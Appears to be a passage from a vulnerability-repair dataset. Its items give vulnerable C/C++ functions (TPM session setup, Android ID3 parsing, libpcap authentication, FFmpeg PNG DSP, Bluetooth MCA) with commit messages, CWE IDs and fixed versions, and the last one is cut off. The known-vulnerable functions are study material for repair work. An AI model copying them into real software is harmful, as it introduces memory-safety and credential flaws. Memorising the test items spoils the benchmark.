void CuePoint::Load(IMkvReader* pReader) { bool CuePoint::Load(IMkvReader* pReader) { if (m_timecode >= 0) // already loaded return true; assert(m_track_positions == NULL); assert(m_track_positions_count == 0); long long pos_ = -m_timecode; const long long element_start = pos_; long long stop; { long len; const long long id = ReadID(pReader, pos_, len); if (id != 0x3B) return false; pos_ += len; // consume ID const long long size = ReadUInt(pReader, pos_, len); assert(size >= 0); pos_ += len; // consume Size field stop = pos_ + size; } const long long element_size = stop - element_start; long long pos = pos_; while (pos < stop) { long len; const long long id = ReadID(pReader, pos, len); if ((id < 0) || (pos + len > stop)) { return false; } pos += len; // consume ID const long long size = ReadUInt(pReader, pos, len); if ((size < 0) || (pos + len > stop)) { return false; } pos += len; // consume Size field if ((pos + size) > stop) { return false; } if (id == 0x33) // CueTime ID m_timecode = UnserializeUInt(pReader, pos, size); else if (id == 0x37) // CueTrackPosition(s) ID ++m_track_positions_count; pos += size; // consume payload } if (m_timecode < 0 || m_track_positions_count <= 0) { return false; } m_track_positions = new (std::nothrow) TrackPosition[m_track_positions_count]; if (m_track_positions == NULL) return false; TrackPosition* p = m_track_positions; pos = pos_; while (pos < stop) { long len; const long long id = ReadID(pReader, pos, len); if (id < 0 || (pos + len) > stop) return false; pos += len; // consume ID const long long size = ReadUInt(pReader, pos, len); assert(size >= 0); assert((pos + len) <= stop); pos += len; // consume Size field assert((pos + size) <= stop); if (id == 0x37) { // CueTrackPosition(s) ID TrackPosition& tp = *p++; if (!tp.Parse(pReader, pos, size)) { return false; } } pos += size; // consume payload if (pos > stop) return false; } assert(size_t(p - m_track_positions) == m_track_positions_count); m_element_start = element_start; m_element_size = element_size; return true; }
173,829
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: static TPM_RC StartAuthSession(TSS2_SYS_CONTEXT *sapi_context, SESSION *session ) { TPM_RC rval; TPM2B_ENCRYPTED_SECRET key; char label[] = "ATH"; UINT16 bytes; int i; key.t.size = 0; if( session->nonceOlder.t.size == 0 ) { /* this is an internal routine to TSS and should be removed */ session->nonceOlder.t.size = GetDigestSize( TPM_ALG_SHA1 ); for( i = 0; i < session->nonceOlder.t.size; i++ ) session->nonceOlder.t.buffer[i] = 0; } session->nonceNewer.t.size = session->nonceOlder.t.size; rval = Tss2_Sys_StartAuthSession( sapi_context, session->tpmKey, session->bind, 0, &( session->nonceOlder ), &( session->encryptedSalt ), session->sessionType, &( session->symmetric ), session->authHash, &( session->sessionHandle ), &( session->nonceNewer ), 0 ); if( rval == TPM_RC_SUCCESS ) { if( session->tpmKey == TPM_RH_NULL ) session->salt.t.size = 0; if( session->bind == TPM_RH_NULL ) session->authValueBind.t.size = 0; if( session->tpmKey == TPM_RH_NULL && session->bind == TPM_RH_NULL ) { session->sessionKey.b.size = 0; } else { bool result = string_bytes_concat_buffer( (TPM2B_MAX_BUFFER *)&key, &( session->authValueBind.b ) ); if (!result) { return TSS2_SYS_RC_BAD_VALUE; } result = string_bytes_concat_buffer( (TPM2B_MAX_BUFFER *)&key, &( session->salt.b ) ); if (!result) { return TSS2_SYS_RC_BAD_VALUE; } bytes = GetDigestSize( session->authHash ); if( key.t.size == 0 ) { session->sessionKey.t.size = 0; } else { rval = tpm_kdfa(sapi_context, session->authHash, &(key.b), label, &( session->nonceNewer.b ), &( session->nonceOlder.b ), bytes * 8, (TPM2B_MAX_BUFFER *)&( session->sessionKey ) ); } if( rval != TPM_RC_SUCCESS ) { return( TSS2_APP_RC_CREATE_SESSION_KEY_FAILED ); } } session->nonceTpmDecrypt.b.size = 0; session->nonceTpmEncrypt.b.size = 0; session->nvNameChanged = 0; } return rval; } Commit Message: kdfa: use openssl for hmac not tpm While not reachable in the current code base tools, a potential security bug lurked in tpm_kdfa(). If using that routine for an hmac authorization, the hmac was calculated using the tpm. A user of an object wishing to authenticate via hmac, would expect that the password is never sent to the tpm. However, since the hmac calculation relies on password, and is performed by the tpm, the password ends up being sent in plain text to the tpm. The fix is to use openssl to generate the hmac on the host. Fixes: CVE-2017-7524 Signed-off-by: William Roberts <[email protected]> CWE ID: CWE-522
static TPM_RC StartAuthSession(TSS2_SYS_CONTEXT *sapi_context, SESSION *session ) { TPM_RC rval; TPM2B_ENCRYPTED_SECRET key; char label[] = "ATH"; UINT16 bytes; int i; key.t.size = 0; if( session->nonceOlder.t.size == 0 ) { /* this is an internal routine to TSS and should be removed */ session->nonceOlder.t.size = GetDigestSize( TPM_ALG_SHA1 ); for( i = 0; i < session->nonceOlder.t.size; i++ ) session->nonceOlder.t.buffer[i] = 0; } session->nonceNewer.t.size = session->nonceOlder.t.size; rval = Tss2_Sys_StartAuthSession( sapi_context, session->tpmKey, session->bind, 0, &( session->nonceOlder ), &( session->encryptedSalt ), session->sessionType, &( session->symmetric ), session->authHash, &( session->sessionHandle ), &( session->nonceNewer ), 0 ); if( rval == TPM_RC_SUCCESS ) { if( session->tpmKey == TPM_RH_NULL ) session->salt.t.size = 0; if( session->bind == TPM_RH_NULL ) session->authValueBind.t.size = 0; if( session->tpmKey == TPM_RH_NULL && session->bind == TPM_RH_NULL ) { session->sessionKey.b.size = 0; } else { bool result = string_bytes_concat_buffer( (TPM2B_MAX_BUFFER *)&key, &( session->authValueBind.b ) ); if (!result) { return TSS2_SYS_RC_BAD_VALUE; } result = string_bytes_concat_buffer( (TPM2B_MAX_BUFFER *)&key, &( session->salt.b ) ); if (!result) { return TSS2_SYS_RC_BAD_VALUE; } bytes = GetDigestSize( session->authHash ); if( key.t.size == 0 ) { session->sessionKey.t.size = 0; } else { rval = tpm_kdfa(session->authHash, &(key.b), label, &( session->nonceNewer.b ), &( session->nonceOlder.b ), bytes * 8, (TPM2B_MAX_BUFFER *)&( session->sessionKey ) ); } if( rval != TPM_RC_SUCCESS ) { return( TSS2_APP_RC_CREATE_SESSION_KEY_FAILED ); } } session->nonceTpmDecrypt.b.size = 0; session->nonceTpmEncrypt.b.size = 0; session->nvNameChanged = 0; } return rval; }
168,266
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: ID3::getAlbumArt(size_t *length, String8 *mime) const { *length = 0; mime->setTo(""); Iterator it( *this, (mVersion == ID3_V2_3 || mVersion == ID3_V2_4) ? "APIC" : "PIC"); while (!it.done()) { size_t size; const uint8_t *data = it.getData(&size); if (!data) { return NULL; } if (mVersion == ID3_V2_3 || mVersion == ID3_V2_4) { uint8_t encoding = data[0]; mime->setTo((const char *)&data[1]); size_t mimeLen = strlen((const char *)&data[1]) + 1; #if 0 uint8_t picType = data[1 + mimeLen]; if (picType != 0x03) { it.next(); continue; } #endif size_t descLen = StringSize(&data[2 + mimeLen], encoding); if (size < 2 || size - 2 < mimeLen || size - 2 - mimeLen < descLen) { ALOGW("bogus album art sizes"); return NULL; } *length = size - 2 - mimeLen - descLen; return &data[2 + mimeLen + descLen]; } else { uint8_t encoding = data[0]; if (!memcmp(&data[1], "PNG", 3)) { mime->setTo("image/png"); } else if (!memcmp(&data[1], "JPG", 3)) { mime->setTo("image/jpeg"); } else if (!memcmp(&data[1], "-->", 3)) { mime->setTo("text/plain"); } else { return NULL; } #if 0 uint8_t picType = data[4]; if (picType != 0x03) { it.next(); continue; } #endif size_t descLen = StringSize(&data[5], encoding); *length = size - 5 - descLen; return &data[5 + descLen]; } } return NULL; } Commit Message: DO NOT MERGE: defensive parsing of mp3 album art information several points in stagefrights mp3 album art code used strlen() to parse user-supplied strings that may be unterminated, resulting in reading beyond the end of a buffer. This changes the code to use strnlen() for 8-bit encodings and strengthens the parsing of 16-bit encodings similarly. It also reworks how we watch for the end-of-buffer to avoid all over-reads. Bug: 32377688 Test: crafted mp3's w/ good/bad cover art. See what showed in play music Change-Id: Ia9f526d71b21ef6a61acacf616b573753cd21df6 (cherry picked from commit fa0806b594e98f1aed3ebcfc6a801b4c0056f9eb) CWE ID: CWE-200
ID3::getAlbumArt(size_t *length, String8 *mime) const { *length = 0; mime->setTo(""); Iterator it( *this, (mVersion == ID3_V2_3 || mVersion == ID3_V2_4) ? "APIC" : "PIC"); while (!it.done()) { size_t size; const uint8_t *data = it.getData(&size); if (!data) { return NULL; } if (mVersion == ID3_V2_3 || mVersion == ID3_V2_4) { uint8_t encoding = data[0]; size_t consumed = 1; // *always* in an 8-bit encoding size_t mimeLen = StringSize(&data[consumed], size - consumed, 0x00); if (mimeLen > size - consumed) { ALOGW("bogus album art size: mime"); return NULL; } mime->setTo((const char *)&data[consumed]); consumed += mimeLen; #if 0 uint8_t picType = data[consumed]; if (picType != 0x03) { it.next(); continue; } #endif consumed++; if (consumed >= size) { ALOGW("bogus album art size: pic type"); return NULL; } size_t descLen = StringSize(&data[consumed], size - consumed, encoding); consumed += descLen; if (consumed >= size) { ALOGW("bogus album art size: description"); return NULL; } *length = size - consumed; return &data[consumed]; } else { uint8_t encoding = data[0]; if (size <= 5) { return NULL; } if (!memcmp(&data[1], "PNG", 3)) { mime->setTo("image/png"); } else if (!memcmp(&data[1], "JPG", 3)) { mime->setTo("image/jpeg"); } else if (!memcmp(&data[1], "-->", 3)) { mime->setTo("text/plain"); } else { return NULL; } #if 0 uint8_t picType = data[4]; if (picType != 0x03) { it.next(); continue; } #endif size_t descLen = StringSize(&data[5], size - 5, encoding); if (descLen > size - 5) { return NULL; } *length = size - 5 - descLen; return &data[5 + descLen]; } } return NULL; }
174,062
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: daemon_AuthUserPwd(char *username, char *password, char *errbuf) { #ifdef _WIN32 /* * Warning: the user which launches the process must have the * SE_TCB_NAME right. * This corresponds to have the "Act as part of the Operating System" * turned on (administrative tools, local security settings, local * policies, user right assignment) * However, it seems to me that if you run it as a service, this * right should be provided by default. * * XXX - hopefully, this returns errors such as ERROR_LOGON_FAILURE, * which merely indicates that the user name or password is * incorrect, not whether it's the user name or the password * that's incorrect, so a client that's trying to brute-force * accounts doesn't know whether it's the user name or the * password that's incorrect, so it doesn't know whether to * stop trying to log in with a given user name and move on * to another user name. */ HANDLE Token; if (LogonUser(username, ".", password, LOGON32_LOGON_NETWORK, LOGON32_PROVIDER_DEFAULT, &Token) == 0) { pcap_fmt_errmsg_for_win32_err(errbuf, PCAP_ERRBUF_SIZE, GetLastError(), "LogonUser() failed"); return -1; } if (ImpersonateLoggedOnUser(Token) == 0) { pcap_fmt_errmsg_for_win32_err(errbuf, PCAP_ERRBUF_SIZE, GetLastError(), "ImpersonateLoggedOnUser() failed"); CloseHandle(Token); return -1; } CloseHandle(Token); return 0; #else /* * See * * http://www.unixpapa.com/incnote/passwd.html * * We use the Solaris/Linux shadow password authentication if * we have getspnam(), otherwise we just do traditional * authentication, which, on some platforms, might work, even * with shadow passwords, if we're running as root. Traditional * authenticaion won't work if we're not running as root, as * I think these days all UN*Xes either won't return the password * at all with getpwnam() or will only do so if you're root. * * XXX - perhaps what we *should* be using is PAM, if we have * it. That might hide all the details of username/password * authentication, whether it's done with a visible-to-root- * only password database or some other authentication mechanism, * behind its API. */ struct passwd *user; char *user_password; #ifdef HAVE_GETSPNAM struct spwd *usersp; #endif if ((user = getpwnam(username)) == NULL) { pcap_snprintf(errbuf, PCAP_ERRBUF_SIZE, "Authentication failed: user name or password incorrect"); return -1; } #ifdef HAVE_GETSPNAM if ((usersp = getspnam(username)) == NULL) { pcap_snprintf(errbuf, PCAP_ERRBUF_SIZE, "Authentication failed: user name or password incorrect"); return -1; } user_password = usersp->sp_pwdp; #else /* * XXX - what about other platforms? * The unixpapa.com page claims this Just Works on *BSD if you're * running as root - it's from 2000, so it doesn't indicate whether * macOS (which didn't come out until 2001, under the name Mac OS * X) behaves like the *BSDs or not, and might also work on AIX. * HP-UX does something else. * * Again, hopefully PAM hides all that. */ user_password = user->pw_passwd; #endif if (strcmp(user_password, (char *) crypt(password, user_password)) != 0) { pcap_snprintf(errbuf, PCAP_ERRBUF_SIZE, "Authentication failed: user name or password incorrect"); return -1; } if (setuid(user->pw_uid)) { pcap_fmt_errmsg_for_errno(errbuf, PCAP_ERRBUF_SIZE, errno, "setuid"); return -1; } /* if (setgid(user->pw_gid)) { pcap_fmt_errmsg_for_errno(errbuf, PCAP_ERRBUF_SIZE, errno, "setgid"); return -1; } */ return 0; #endif } Commit Message: Don't crash if crypt() fails. It can fail, so make sure it doesn't before comparing its result with the password. This addresses Include Security issue F12: [libpcap] Remote Packet Capture Daemon Null Pointer Dereference Denial of Service. CWE ID: CWE-476
daemon_AuthUserPwd(char *username, char *password, char *errbuf) { #ifdef _WIN32 /* * Warning: the user which launches the process must have the * SE_TCB_NAME right. * This corresponds to have the "Act as part of the Operating System" * turned on (administrative tools, local security settings, local * policies, user right assignment) * However, it seems to me that if you run it as a service, this * right should be provided by default. * * XXX - hopefully, this returns errors such as ERROR_LOGON_FAILURE, * which merely indicates that the user name or password is * incorrect, not whether it's the user name or the password * that's incorrect, so a client that's trying to brute-force * accounts doesn't know whether it's the user name or the * password that's incorrect, so it doesn't know whether to * stop trying to log in with a given user name and move on * to another user name. */ HANDLE Token; if (LogonUser(username, ".", password, LOGON32_LOGON_NETWORK, LOGON32_PROVIDER_DEFAULT, &Token) == 0) { pcap_fmt_errmsg_for_win32_err(errbuf, PCAP_ERRBUF_SIZE, GetLastError(), "LogonUser() failed"); return -1; } if (ImpersonateLoggedOnUser(Token) == 0) { pcap_fmt_errmsg_for_win32_err(errbuf, PCAP_ERRBUF_SIZE, GetLastError(), "ImpersonateLoggedOnUser() failed"); CloseHandle(Token); return -1; } CloseHandle(Token); return 0; #else /* * See * * http://www.unixpapa.com/incnote/passwd.html * * We use the Solaris/Linux shadow password authentication if * we have getspnam(), otherwise we just do traditional * authentication, which, on some platforms, might work, even * with shadow passwords, if we're running as root. Traditional * authenticaion won't work if we're not running as root, as * I think these days all UN*Xes either won't return the password * at all with getpwnam() or will only do so if you're root. * * XXX - perhaps what we *should* be using is PAM, if we have * it. That might hide all the details of username/password * authentication, whether it's done with a visible-to-root- * only password database or some other authentication mechanism, * behind its API. */ struct passwd *user; char *user_password; #ifdef HAVE_GETSPNAM struct spwd *usersp; #endif char *crypt_password; if ((user = getpwnam(username)) == NULL) { pcap_snprintf(errbuf, PCAP_ERRBUF_SIZE, "Authentication failed: user name or password incorrect"); return -1; } #ifdef HAVE_GETSPNAM if ((usersp = getspnam(username)) == NULL) { pcap_snprintf(errbuf, PCAP_ERRBUF_SIZE, "Authentication failed: user name or password incorrect"); return -1; } user_password = usersp->sp_pwdp; #else /* * XXX - what about other platforms? * The unixpapa.com page claims this Just Works on *BSD if you're * running as root - it's from 2000, so it doesn't indicate whether * macOS (which didn't come out until 2001, under the name Mac OS * X) behaves like the *BSDs or not, and might also work on AIX. * HP-UX does something else. * * Again, hopefully PAM hides all that. */ user_password = user->pw_passwd; #endif crypt_password = crypt(password, user_password); if (crypt_password == NULL) { pcap_snprintf(errbuf, PCAP_ERRBUF_SIZE, "Authentication failed"); return -1; } if (strcmp(user_password, crypt_password) != 0) { pcap_snprintf(errbuf, PCAP_ERRBUF_SIZE, "Authentication failed: user name or password incorrect"); return -1; } if (setuid(user->pw_uid)) { pcap_fmt_errmsg_for_errno(errbuf, PCAP_ERRBUF_SIZE, errno, "setuid"); return -1; } /* if (setgid(user->pw_gid)) { pcap_fmt_errmsg_for_errno(errbuf, PCAP_ERRBUF_SIZE, errno, "setgid"); return -1; } */ return 0; #endif }
169,541
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: static void add_bytes_l2_c(uint8_t *dst, uint8_t *src1, uint8_t *src2, int w) { long i; for (i = 0; i <= w - sizeof(long); i += sizeof(long)) { long a = *(long *)(src1 + i); long b = *(long *)(src2 + i); *(long *)(dst + i) = ((a & pb_7f) + (b & pb_7f)) ^ ((a ^ b) & pb_80); } for (; i < w; i++) dst[i] = src1[i] + src2[i]; } Commit Message: avcodec/pngdsp: fix (un)signed type in end comparission Fixes out of array accesses Fixes Ticket2919 Found_by: ami_stuff Signed-off-by: Michael Niedermayer <[email protected]> CWE ID: CWE-189
static void add_bytes_l2_c(uint8_t *dst, uint8_t *src1, uint8_t *src2, int w) { long i; for (i = 0; i <= w - (int)sizeof(long); i += sizeof(long)) { long a = *(long *)(src1 + i); long b = *(long *)(src2 + i); *(long *)(dst + i) = ((a & pb_7f) + (b & pb_7f)) ^ ((a ^ b) & pb_80); } for (; i < w; i++) dst[i] = src1[i] + src2[i]; }
165,925
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: void mca_ccb_hdl_req(tMCA_CCB* p_ccb, tMCA_CCB_EVT* p_data) { BT_HDR* p_pkt = &p_data->hdr; uint8_t *p, *p_start; tMCA_DCB* p_dcb; tMCA_CTRL evt_data; tMCA_CCB_MSG* p_rx_msg = NULL; uint8_t reject_code = MCA_RSP_NO_RESOURCE; bool send_rsp = false; bool check_req = false; uint8_t reject_opcode; MCA_TRACE_DEBUG("mca_ccb_hdl_req status:%d", p_ccb->status); p_rx_msg = (tMCA_CCB_MSG*)p_pkt; p = (uint8_t*)(p_pkt + 1) + p_pkt->offset; evt_data.hdr.op_code = *p++; BE_STREAM_TO_UINT16(evt_data.hdr.mdl_id, p); reject_opcode = evt_data.hdr.op_code + 1; MCA_TRACE_DEBUG("received mdl id: %d ", evt_data.hdr.mdl_id); if (p_ccb->status == MCA_CCB_STAT_PENDING) { MCA_TRACE_DEBUG("received req inpending state"); /* allow abort in pending state */ if ((p_ccb->status == MCA_CCB_STAT_PENDING) && (evt_data.hdr.op_code == MCA_OP_MDL_ABORT_REQ)) { reject_code = MCA_RSP_SUCCESS; send_rsp = true; /* clear the pending status */ p_ccb->status = MCA_CCB_STAT_NORM; if (p_ccb->p_tx_req && ((p_dcb = mca_dcb_by_hdl(p_ccb->p_tx_req->dcb_idx)) != NULL)) { mca_dcb_dealloc(p_dcb, NULL); osi_free_and_reset((void**)&p_ccb->p_tx_req); } } else reject_code = MCA_RSP_BAD_OP; } else if (p_ccb->p_rx_msg) { MCA_TRACE_DEBUG("still handling prev req"); /* still holding previous message, reject this new one ?? */ } else if (p_ccb->p_tx_req) { MCA_TRACE_DEBUG("still waiting for a response ctrl_vpsm:0x%x", p_ccb->ctrl_vpsm); /* sent a request; waiting for response */ if (p_ccb->ctrl_vpsm == 0) { MCA_TRACE_DEBUG("local is ACP. accept the cmd from INT"); /* local is acceptor, need to handle the request */ check_req = true; reject_code = MCA_RSP_SUCCESS; /* drop the previous request */ if ((p_ccb->p_tx_req->op_code == MCA_OP_MDL_CREATE_REQ) && ((p_dcb = mca_dcb_by_hdl(p_ccb->p_tx_req->dcb_idx)) != NULL)) { mca_dcb_dealloc(p_dcb, NULL); } osi_free_and_reset((void**)&p_ccb->p_tx_req); mca_stop_timer(p_ccb); } else { /* local is initiator, ignore the req */ osi_free(p_pkt); return; } } else if (p_pkt->layer_specific != MCA_RSP_SUCCESS) { reject_code = (uint8_t)p_pkt->layer_specific; if (((evt_data.hdr.op_code >= MCA_NUM_STANDARD_OPCODE) && (evt_data.hdr.op_code < MCA_FIRST_SYNC_OP)) || (evt_data.hdr.op_code > MCA_LAST_SYNC_OP)) { /* invalid op code */ reject_opcode = MCA_OP_ERROR_RSP; evt_data.hdr.mdl_id = 0; } } else { check_req = true; reject_code = MCA_RSP_SUCCESS; } if (check_req) { if (reject_code == MCA_RSP_SUCCESS) { reject_code = MCA_RSP_BAD_MDL; if (MCA_IS_VALID_MDL_ID(evt_data.hdr.mdl_id) || ((evt_data.hdr.mdl_id == MCA_ALL_MDL_ID) && (evt_data.hdr.op_code == MCA_OP_MDL_DELETE_REQ))) { reject_code = MCA_RSP_SUCCESS; /* mdl_id is valid according to the spec */ switch (evt_data.hdr.op_code) { case MCA_OP_MDL_CREATE_REQ: evt_data.create_ind.dep_id = *p++; evt_data.create_ind.cfg = *p++; p_rx_msg->mdep_id = evt_data.create_ind.dep_id; if (!mca_is_valid_dep_id(p_ccb->p_rcb, p_rx_msg->mdep_id)) { MCA_TRACE_ERROR("%s: Invalid local MDEP ID %d", __func__, p_rx_msg->mdep_id); reject_code = MCA_RSP_BAD_MDEP; } else if (mca_ccb_uses_mdl_id(p_ccb, evt_data.hdr.mdl_id)) { MCA_TRACE_DEBUG("the mdl_id is currently used in the CL(create)"); mca_dcb_close_by_mdl_id(p_ccb, evt_data.hdr.mdl_id); } else { /* check if this dep still have MDL available */ if (mca_dep_free_mdl(p_ccb, evt_data.create_ind.dep_id) == 0) { MCA_TRACE_ERROR("%s: MAX_MDL is used by MDEP %d", __func__, evt_data.create_ind.dep_id); reject_code = MCA_RSP_MDEP_BUSY; } } break; case MCA_OP_MDL_RECONNECT_REQ: if (mca_ccb_uses_mdl_id(p_ccb, evt_data.hdr.mdl_id)) { MCA_TRACE_ERROR("%s: MDL_ID %d busy, in CL(reconn)", __func__, evt_data.hdr.mdl_id); reject_code = MCA_RSP_MDL_BUSY; } break; case MCA_OP_MDL_ABORT_REQ: reject_code = MCA_RSP_BAD_OP; break; case MCA_OP_MDL_DELETE_REQ: /* delete the associated mdl */ mca_dcb_close_by_mdl_id(p_ccb, evt_data.hdr.mdl_id); send_rsp = true; break; } } } } if (((reject_code != MCA_RSP_SUCCESS) && (evt_data.hdr.op_code != MCA_OP_SYNC_INFO_IND)) || send_rsp) { BT_HDR* p_buf = (BT_HDR*)osi_malloc(MCA_CTRL_MTU + sizeof(BT_HDR)); p_buf->offset = L2CAP_MIN_OFFSET; p = p_start = (uint8_t*)(p_buf + 1) + L2CAP_MIN_OFFSET; *p++ = reject_opcode; *p++ = reject_code; bool valid_response = true; switch (reject_opcode) { case MCA_OP_ERROR_RSP: case MCA_OP_MDL_CREATE_RSP: case MCA_OP_MDL_RECONNECT_RSP: case MCA_OP_MDL_ABORT_RSP: case MCA_OP_MDL_DELETE_RSP: UINT16_TO_BE_STREAM(p, evt_data.hdr.mdl_id); break; case MCA_OP_SYNC_CAP_RSP: memset(p, 0, 7); p += 7; break; case MCA_OP_SYNC_SET_RSP: memset(p, 0, 14); p += 14; break; default: MCA_TRACE_ERROR("%s: reject_opcode 0x%02x not recognized", __func__, reject_opcode); valid_response = false; break; } if (valid_response) { p_buf->len = p - p_start; MCA_TRACE_ERROR("%s: reject_opcode=0x%02x, reject_code=0x%02x, length=%d", __func__, reject_opcode, reject_code, p_buf->len); L2CA_DataWrite(p_ccb->lcid, p_buf); } else { osi_free(p_buf); } } if (reject_code == MCA_RSP_SUCCESS) { /* use the received GKI buffer to store information to double check response * API */ p_rx_msg->op_code = evt_data.hdr.op_code; p_rx_msg->mdl_id = evt_data.hdr.mdl_id; p_ccb->p_rx_msg = p_rx_msg; if (send_rsp) { osi_free(p_pkt); p_ccb->p_rx_msg = NULL; } mca_ccb_report_event(p_ccb, evt_data.hdr.op_code, &evt_data); } else osi_free(p_pkt); } Commit Message: Add packet length checks in mca_ccb_hdl_req Bug: 110791536 Test: manual Change-Id: Ica5d8037246682fdb190b2747a86ed8d44c2869a (cherry picked from commit 4de7ccdd914b7a178df9180d15f675b257ea6e02) CWE ID: CWE-125
void mca_ccb_hdl_req(tMCA_CCB* p_ccb, tMCA_CCB_EVT* p_data) { BT_HDR* p_pkt = &p_data->hdr; uint8_t *p, *p_start; tMCA_DCB* p_dcb; tMCA_CTRL evt_data; tMCA_CCB_MSG* p_rx_msg = NULL; uint8_t reject_code = MCA_RSP_NO_RESOURCE; bool send_rsp = false; bool check_req = false; uint8_t reject_opcode; MCA_TRACE_DEBUG("mca_ccb_hdl_req status:%d", p_ccb->status); p_rx_msg = (tMCA_CCB_MSG*)p_pkt; p = (uint8_t*)(p_pkt + 1) + p_pkt->offset; evt_data.hdr.op_code = *p++; reject_opcode = evt_data.hdr.op_code + 1; if (p_pkt->len >= 3) { BE_STREAM_TO_UINT16(evt_data.hdr.mdl_id, p); } else { android_errorWriteLog(0x534e4554, "110791536"); evt_data.hdr.mdl_id = 0; } MCA_TRACE_DEBUG("received mdl id: %d ", evt_data.hdr.mdl_id); if (p_ccb->status == MCA_CCB_STAT_PENDING) { MCA_TRACE_DEBUG("received req inpending state"); /* allow abort in pending state */ if ((p_ccb->status == MCA_CCB_STAT_PENDING) && (evt_data.hdr.op_code == MCA_OP_MDL_ABORT_REQ)) { reject_code = MCA_RSP_SUCCESS; send_rsp = true; /* clear the pending status */ p_ccb->status = MCA_CCB_STAT_NORM; if (p_ccb->p_tx_req && ((p_dcb = mca_dcb_by_hdl(p_ccb->p_tx_req->dcb_idx)) != NULL)) { mca_dcb_dealloc(p_dcb, NULL); osi_free_and_reset((void**)&p_ccb->p_tx_req); } } else reject_code = MCA_RSP_BAD_OP; } else if (p_ccb->p_rx_msg) { MCA_TRACE_DEBUG("still handling prev req"); /* still holding previous message, reject this new one ?? */ } else if (p_ccb->p_tx_req) { MCA_TRACE_DEBUG("still waiting for a response ctrl_vpsm:0x%x", p_ccb->ctrl_vpsm); /* sent a request; waiting for response */ if (p_ccb->ctrl_vpsm == 0) { MCA_TRACE_DEBUG("local is ACP. accept the cmd from INT"); /* local is acceptor, need to handle the request */ check_req = true; reject_code = MCA_RSP_SUCCESS; /* drop the previous request */ if ((p_ccb->p_tx_req->op_code == MCA_OP_MDL_CREATE_REQ) && ((p_dcb = mca_dcb_by_hdl(p_ccb->p_tx_req->dcb_idx)) != NULL)) { mca_dcb_dealloc(p_dcb, NULL); } osi_free_and_reset((void**)&p_ccb->p_tx_req); mca_stop_timer(p_ccb); } else { /* local is initiator, ignore the req */ osi_free(p_pkt); return; } } else if (p_pkt->layer_specific != MCA_RSP_SUCCESS) { reject_code = (uint8_t)p_pkt->layer_specific; if (((evt_data.hdr.op_code >= MCA_NUM_STANDARD_OPCODE) && (evt_data.hdr.op_code < MCA_FIRST_SYNC_OP)) || (evt_data.hdr.op_code > MCA_LAST_SYNC_OP)) { /* invalid op code */ reject_opcode = MCA_OP_ERROR_RSP; evt_data.hdr.mdl_id = 0; } } else { check_req = true; reject_code = MCA_RSP_SUCCESS; } if (check_req) { if (reject_code == MCA_RSP_SUCCESS) { reject_code = MCA_RSP_BAD_MDL; if (MCA_IS_VALID_MDL_ID(evt_data.hdr.mdl_id) || ((evt_data.hdr.mdl_id == MCA_ALL_MDL_ID) && (evt_data.hdr.op_code == MCA_OP_MDL_DELETE_REQ))) { reject_code = MCA_RSP_SUCCESS; /* mdl_id is valid according to the spec */ switch (evt_data.hdr.op_code) { case MCA_OP_MDL_CREATE_REQ: evt_data.create_ind.dep_id = *p++; evt_data.create_ind.cfg = *p++; p_rx_msg->mdep_id = evt_data.create_ind.dep_id; if (!mca_is_valid_dep_id(p_ccb->p_rcb, p_rx_msg->mdep_id)) { MCA_TRACE_ERROR("%s: Invalid local MDEP ID %d", __func__, p_rx_msg->mdep_id); reject_code = MCA_RSP_BAD_MDEP; } else if (mca_ccb_uses_mdl_id(p_ccb, evt_data.hdr.mdl_id)) { MCA_TRACE_DEBUG("the mdl_id is currently used in the CL(create)"); mca_dcb_close_by_mdl_id(p_ccb, evt_data.hdr.mdl_id); } else { /* check if this dep still have MDL available */ if (mca_dep_free_mdl(p_ccb, evt_data.create_ind.dep_id) == 0) { MCA_TRACE_ERROR("%s: MAX_MDL is used by MDEP %d", __func__, evt_data.create_ind.dep_id); reject_code = MCA_RSP_MDEP_BUSY; } } break; case MCA_OP_MDL_RECONNECT_REQ: if (mca_ccb_uses_mdl_id(p_ccb, evt_data.hdr.mdl_id)) { MCA_TRACE_ERROR("%s: MDL_ID %d busy, in CL(reconn)", __func__, evt_data.hdr.mdl_id); reject_code = MCA_RSP_MDL_BUSY; } break; case MCA_OP_MDL_ABORT_REQ: reject_code = MCA_RSP_BAD_OP; break; case MCA_OP_MDL_DELETE_REQ: /* delete the associated mdl */ mca_dcb_close_by_mdl_id(p_ccb, evt_data.hdr.mdl_id); send_rsp = true; break; } } } } if (((reject_code != MCA_RSP_SUCCESS) && (evt_data.hdr.op_code != MCA_OP_SYNC_INFO_IND)) || send_rsp) { BT_HDR* p_buf = (BT_HDR*)osi_malloc(MCA_CTRL_MTU + sizeof(BT_HDR)); p_buf->offset = L2CAP_MIN_OFFSET; p = p_start = (uint8_t*)(p_buf + 1) + L2CAP_MIN_OFFSET; *p++ = reject_opcode; *p++ = reject_code; bool valid_response = true; switch (reject_opcode) { case MCA_OP_ERROR_RSP: case MCA_OP_MDL_CREATE_RSP: case MCA_OP_MDL_RECONNECT_RSP: case MCA_OP_MDL_ABORT_RSP: case MCA_OP_MDL_DELETE_RSP: UINT16_TO_BE_STREAM(p, evt_data.hdr.mdl_id); break; case MCA_OP_SYNC_CAP_RSP: memset(p, 0, 7); p += 7; break; case MCA_OP_SYNC_SET_RSP: memset(p, 0, 14); p += 14; break; default: MCA_TRACE_ERROR("%s: reject_opcode 0x%02x not recognized", __func__, reject_opcode); valid_response = false; break; } if (valid_response) { p_buf->len = p - p_start; MCA_TRACE_ERROR("%s: reject_opcode=0x%02x, reject_code=0x%02x, length=%d", __func__, reject_opcode, reject_code, p_buf->len); L2CA_DataWrite(p_ccb->lcid, p_buf); } else { osi_free(p_buf); } } if (reject_code == MCA_RSP_SUCCESS) { /* use the received GKI buffer to store information to double check response * API */ p_rx_msg->op_code = evt_data.hdr.op_code; p_rx_msg->mdl_id = evt_data.hdr.mdl_id; p_ccb->p_rx_msg = p_rx_msg; if (send_rsp) { 